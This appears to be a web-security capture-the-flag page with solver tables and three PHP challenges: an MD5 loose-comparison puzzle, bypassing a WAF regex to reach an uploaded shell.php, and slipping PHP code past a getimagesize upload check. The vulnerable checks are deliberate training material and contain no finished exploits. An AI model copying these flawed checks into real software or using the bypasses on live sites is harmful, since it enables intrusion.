| Bear | 2023-04-26 10:24:48 |
| g | 2023-05-09 14:48:57 |
| mr hackerman | 2023-05-09 18:22:16 |
| leo | 2023-05-11 15:24:59 |
| Mary P0ppins | 2023-05-11 18:16:26 |
| hi | 2023-05-12 19:18:08 |
| bloop | 2023-05-18 09:17:18 |
| 54 | 2023-05-18 18:18:02 |
| pinekiller | 2023-05-18 20:55:49 |
| mad | 2023-05-19 10:58:47 |
| loop | 2023-05-23 08:39:50 |
| xxx | 2023-05-23 09:26:19 |
| ehsun | 2023-10-11 15:27:26 |
| lol | 2024-03-20 16:47:39 |
| alphac | 2024-03-26 13:19:24 |
| ahlinder | 2024-04-18 08:47:27 |
| William | 2024-04-23 14:17:40 |
| Deaa | 2024-04-30 03:37:40 |
| KodakDaniel | 2024-05-06 07:01:49 |
| yunpengy | 2024-05-06 20:45:25 |
| tehAndrew | 2024-05-07 20:34:53 |
| Jacob | 2024-05-08 09:25:58 |
| kalleballe | 2024-05-08 09:58:30 |
| sylt | 2024-05-08 10:55:09 |
| pg | 2024-05-08 11:31:17 |
| börje | 2024-05-08 13:29:45 |
| tim | 2024-05-09 11:38:27 |
| Svenjamin | 2024-05-09 16:52:42 |
| pontanvb | 2024-05-09 20:27:22 |
| Seffel | 2024-05-09 20:32:58 |
| Saile | 2024-05-09 23:12:19 |
| kris | 2024-05-10 07:16:21 |
| eric | 2024-05-10 08:31:58 |
| yessir | 2024-05-10 09:32:34 |
| Erra | 2024-05-10 12:19:56 |
| 58 | 2024-05-10 12:56:01 |
| tknz | 2024-05-10 13:26:05 |
| liang | 2024-05-10 15:40:35 |
| a | 2024-05-10 16:54:55 |
| Hello World | 2024-05-10 18:37:49 |
| nerding-on-a-friday | 2024-05-11 12:03:00 |
| forsen | 2024-05-15 06:18:59 |
| Cccc | 2024-05-24 15:17:16 |
| gr33 | 2024-05-31 15:19:25 |
| L | 2024-05-31 21:14:47 |
| omstaendlig | 2024-07-25 21:29:24 |
| W | 2024-10-04 19:06:26 |
| samkaj | 2024-11-13 08:06:48 |
| notjack | 2025-01-25 10:09:28 |
| Anajrim | 2025-02-18 20:12:42 |
| :D | 2025-02-28 07:07:06 |
| AliShereef | 2025-03-01 21:14:31 |
| 平行六面体 | 2025-03-27 20:26:03 |
| Gustavus Adolphus | 2025-04-01 07:58:46 |
| j | 2025-04-01 15:17:52 |
| fefhqo | 2025-04-16 13:55:27 |
| variably243 | 2025-05-02 10:08:53 |
| GLOBBY | 2025-05-06 11:48:09 |
| bingbong | 2025-05-08 18:27:57 |
| rachel | 2025-05-08 18:47:18 |
| Lippo | 2025-05-09 13:14:05 |
| Moltas | 2025-05-09 13:14:34 |
| Like A G6 | 2025-05-12 18:27:25 |
| Zito | 2025-05-15 09:39:08 |
| ys | 2025-05-16 09:37:24 |
| shradha | 2025-05-16 20:36:58 |
| 哥布林 | 2025-05-17 22:30:35 |
| laban | 2025-05-18 10:40:02 |
| YZLong | 2025-05-18 12:09:39 |
| sanoverflow | 2025-05-18 13:04:46 |
| TheFez | 2025-05-18 17:48:23 |
| yeehaw123 | 2025-05-19 08:06:31 |
| 永雏塔菲 | 2025-05-20 12:16:49 |
| 2025-05-20 12:38:52 | |
| ee | 2025-05-20 15:25:55 |
| Agnes | 2025-05-20 17:07:33 |
| 神秘方块字 | 2025-05-20 19:56:26 |
| T | 2025-05-20 21:13:28 |
| Copernicus | 2025-05-20 22:17:00 |
| Ning | 2025-05-21 09:53:36 |
| NazTheDon | 2025-05-21 11:36:00 |
| rikar | 2025-05-21 14:06:34 |
| DreeLow | 2025-05-21 14:54:40 |
| G74 | 2025-05-21 15:41:15 |
| L_shell | 2025-05-21 20:26:05 |
| hanzhou | 2025-05-21 21:01:46 |
| group86 | 2025-05-21 21:48:40 |
| Quiz | 2025-05-22 11:39:08 |
| iknek | 2025-05-25 11:43:25 |
| group94 | 2025-05-29 12:20:01 |
Just as in Bitcoin, the goal here is to find an input that gives a smaller (lexicographically) hash than the target hash. Simple right? Hopefully, you can do this without trying about 1620 (or 1024) hashes.
So far my challenges have focused on other people's mistakes but I'm not perfect either. Therefore, for this number 10 special, I thought it would be fitting to showcase a mistake I made. Can you hack me?
$hex_hash_str = md5($_POST['guess']);
$target_hash = "00000000000000000000dec0dec0ffee";
if($hex_hash_str < $target_hash) {
win();
}Solvers:
| Username | Date |
|---|---|
| TITANPOINTE | 2022-08-22 18:02:34 |
| Assured | 2022-08-23 22:11:46 |
| PotatoKingTheVII | 2022-08-29 19:27:54 |
| codewarrior0 | 2022-08-29 20:35:17 |
| har-ee | 2022-11-02 22:15:31 |
| Q | 2023-03-20 09:13:52 |
| 2023-03-20 12:33:58 | |
| Peptski | 2023-03-20 12:48:57 |
| ludde | 2023-03-20 13:08:47 |
| Corgo | 2023-04-23 23:39:32 |
| eric | 2025-04-23 16:12:20 |
| samkaj | 2025-04-24 08:39:24 |
| j | 2025-04-25 12:04:33 |
The server in this case had a vulnerability that allowed attackers to upload PHP files in the image directory. However, thanks to a quite popular Web Application Firewall (WAF), the attackers were not able to execute their code.
Access images/shell.php to read the flag.
Once you get access the flag will be of the form realsec{...}.
Below is the regex check used by the WAF. It is rewritten by me in PHP but the regex is exactly the same.
$uri = $_SERVER["REQUEST_URI"];
$r = "(\/(images|img(s)?|pictures|upload(s)?)\/[^\.]{0,108}\.(pht|phtml|php\d?$))";
if(preg_match($r, $uri)) {
echo "Blocked by L33TWAF!";
} else {
echo $flag;
}
I have reported this and while they appreciate the feedback they argue this rule should only be used for logging.
The real website where this was found had many malicious PHP files in the image folder but seemed fine otherwise. Perhaps this WAF rule is not too bad!
Solvers:
| Username | Date |
|---|---|
| Peptski | 2023-03-20 12:07:52 |
| Q | 2023-03-20 12:09:45 |
| ludde | 2023-03-20 13:12:03 |
| PotatoKingTheVII | 2023-03-27 14:16:56 |
| TITANPOINTE | 2023-03-30 14:50:19 |
| har-ee | 2023-03-31 00:09:02 |
| Corgo | 2023-04-23 23:23:14 |
| ehsun | 2023-10-12 06:39:43 |
| alphac | 2024-03-26 14:23:57 |
| KodakDaniel | 2024-05-06 07:07:34 |
| Saile | 2024-05-10 12:39:17 |
| omstaendlig | 2024-07-25 21:32:56 |
| W | 2024-10-04 19:25:00 |
| Assured | 2024-11-03 09:32:40 |
| 2024-11-17 00:57:52 | |
| j | 2025-04-01 15:43:13 |
| samkaj | 2025-04-03 07:43:07 |
As we have seen, file types and extensions can not be trusted!
"No problem" said these developers, as they have the function
getimagesize, which will give us the width and height of an image.
$filename = basename($_FILES['file']['name']);
$size == getimagesize($_FILES['file']['tmp_name']);
$width = $size[0];
$height = $size[1];
if ($width && $width <= 1337 && $height && $height <= 1337) {
// upload to the file
}
Can you upload a file with the .php file extension, that
also executes the function win();? I.e. the file should
contain <?php win(); ?>.
Solvers:
| Username | Date |
|---|---|
| Q | 2023-03-20 09:43:09 |
| ludde | 2023-03-20 13:16:45 |
| Peptski | 2023-03-20 16:16:18 |
| PotatoKingTheVII | 2023-03-27 13:59:45 |
| har-ee | 2023-03-31 00:15:53 |
| Corgo | 2023-04-23 23:28:23 |
| ehsun | 2023-10-12 07:15:25 |
| alphac | 2024-03-26 17:35:17 |
| Saile | 2024-05-10 12:38:52 |
| 2024-05-11 10:47:51 | |
| KodakDaniel | 2024-05-11 10:48:03 |
| W | 2024-10-04 19:37:28 |
| Anajrim | 2025-02-18 23:44:53 |
| was fun.. thanks. | 2025-02-18 23:48:44 |
| j | 2025-04-01 16:01:33 |
| samkaj | 2025-04-03 07:52:28 |